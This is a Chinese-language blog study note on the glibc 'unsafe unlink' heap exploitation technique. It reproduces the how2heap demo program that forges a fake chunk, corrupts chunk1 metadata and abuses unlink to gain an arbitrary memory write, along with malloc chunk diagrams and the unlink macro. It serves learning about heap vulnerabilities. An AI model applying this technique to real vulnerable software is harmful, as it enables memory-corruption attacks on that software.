linux堆溢出学习之unsafe unlink
2016-12-10 14:29
239 查看
示例代码
来源:https://github.com/Escapingbug/how2heap/blob/master/unsafe_unlink.c#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> uint64_t *chunk0_ptr; int main() { printf("Welcome to unsafe unlink 2.0!\n"); printf("Tested in Ubuntu 14.04/16.04 64bit.\n"); printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); int malloc_size = 0x80; //we want to be big enough not to use fastbins int header_size = 2; printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr); printf("We create a fake chunk inside chunk0.\n"); printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]); printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n"); chunk1_hdr[1] &= ~1; printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n"); free(chunk1_ptr); printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string; printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string); }
分析
大致思路
我们有一个全局指针变量chunk0_ptr用来保存malloc的地址,局部变量chunk1_ptr用来保存另外一个malloc之后的地址。 我们假设造成溢出的是chunk0,那么我们就可以更改掉与其连续分配的chunk1的元数据。通过构造fake chunk可以使得chunk0_ptr在unlink的时候,其值被更改,可以被更改为其自己的地址附近,然后通过操纵该地址,即可以操纵他自己所指向的地址的值,造成任意地址写。前置知识
漏洞成因
漏洞的主要原因来源于以下几个问题:1. 为了节约内存,被使用之后的chunk和未使用的chunk的内存布局不相同,但是都用了相同的大小,于是free chunk具有更多的数据。
2. glibc的堆空间控制是用链表处理的,其中除了fastbin(bin可以认为是链表的头结点指针,用来标志不同的链表),都使用了双向链表的结构,即使用fd和bk指针指向前者和后者,这恰巧是free chunk才有的额外数据。
3. 在分配或是合并的时候需要删除链表中的一个结点,学过数据结构应该很清楚其操作,大概是
P->fd->bk = P->bk; P->bk->fd = P->fd;,而在做这个操作之前会有一个简单的检查,即查看
P->fd->bk == P && P->bk->fd= == P,但是这个检查有个致命的弱点,就是因为他查找fd和bk都是通过相对位置去查找的,那么虽然P->fd和P->bk都不合法,但是P->fd->bk和P->bk->fd合法就可以通过这个检测,而在删除结点的时候就会造成不同的效果了。
基础知识
堆的chunk的结构:已分配的堆块: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if allocated | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ --------------------------------------------------------------------------------- 未分配的堆块: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
简单的英文我就不做解释了,相信大家都懂。
主要注意的是,mem所指的位置才是我们真正拿到的malloc返回地址,也就是说堆块的meta data在mem之前。
再看unlink:
//unlink代码 #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
其实不用关心太多,主要在意一个是内存的指针检查,一个是如何赋值unlink的。
具体分析
在最上方贴出的代码示例当中,可以很清楚的看到整个漏洞的利用过程。首先chunk0和chunk1被连续分配,然后我们打算在chunk0的mem开始处构造一个伪堆块,那么需要的数据主要是bk和fd,我们构造bk和fd的位置,使得找到bk之后再找fd指向全局变量chunk0_ptr所在的位置,chunk0_ptr的值即为P,那么就可以绕过那个检查了,同理,使得fd之后再找bk也指向相同的位置。(fd位于X+2×int64_t,bk位于X+3×int64_t,所以通过减一下就可以使得找到bk之后再找fd或者找到fd之后再找bk指向chunk0_ptr所在的位置了,第一种情况为例,相当于先找到一个X+2*8的位置的值,再把这个值作为地址加上3*8,于是就找到chunk0_ptr的位置了)
由于chunk1找chunk0的起始位置是通过chunk1最开始的部分的prev_size,也就是chunk1的位置减去一个prev_size就可以找到chunk0的位置,所以需要更改prev_size,这样不至于跳到真正的chunk0而是伪chunk0,再更改chunk1的prev free标志位,使得伪chunk0成为一个free chunk
之后就可以进行free了,free chunk1,由于chunk1和伪chunk0连续,且伪chunk0现在状态为free,所以需要unlink 伪chunk0来进行合并操作。
unlink的时候,第一条赋值语句会被第二条覆盖,因为他们都指向相同的地址,那就是chunk0_ptr的地址,所以unlink中只有第二句赋值有效。
第二句赋值使得chunk0_ptr的指向的地址变为了他自己的所在的地址减去3*8,那么chunk0_ptr[3]的所在的地址就是他自己的所在的地址了(这里比较绕,一定要弄清楚所在的地址和指向的地址的区别)。
大概相当于:
|chunk0_ptr[0]<---- ____________ | |chunk0_ptr[1] | ____________ | |chunk0_ptr[2] | ____________ | |chunk0_ptr[3] | | chunk0_ptr --- ____________
也就是说现在chunk0_ptr[3]和chunk0_ptr是同一个内存里的。
所以最后更改chunk0_ptr[3],也就是更改了chunk0_ptr的值,使其指向了另外的地方,那么再更改chunk0_ptr指向的地方,就更改了另外的地方,这里就可以做到任意地址写了
相关文章推荐
- AIX PowerPC体系结构及其溢出技术学习笔记(转)
- 汇编语言学习(调试一个缓存溢出的程序)
- SharePoint【学习笔记】-- SPWeb.EnsureUser()注意AllowUnsafeUpdates=true
- 学习OpenC:VS2012中flann\logger.h(66): error C4996: 'fopen': This function or variable may be unsafe问题
- JVM 学习笔记1 JAVA内存区域与溢出异常
- MATLAB学习之内存溢出的管理方法
- json_decode转换时整形数字溢出问题学习
- OpenCV学习--saturate_cast防止数据溢出
- 求阶乘,下面的方法可以避免数据溢出,很值得学习。
- (转载)AIX PowerPC体系结构及其溢出技术学习笔记
- linux学习-unlink
- MSP430G2开发板学习(九):定时器A溢出中断
- 关于java处理内存泄露与内存溢出的学习总结
- java学习笔记(二)--数据的溢出
- 菜鸟入侵溢出学习面面俱到(图)
- AIX PowerPC体系结构及其溢出技术学习笔记
- C#学习之unsafe
- JVM学习笔记-内存溢出
- Drupal 7 建站学习手记(五):QuickTabs模块内的元素无法溢出的问题
- ProSSHD 1.2 DEP-溢出-w/ASLR and DEP bypass-SSH2协议学习-不知道怎么弄账户-密码-失败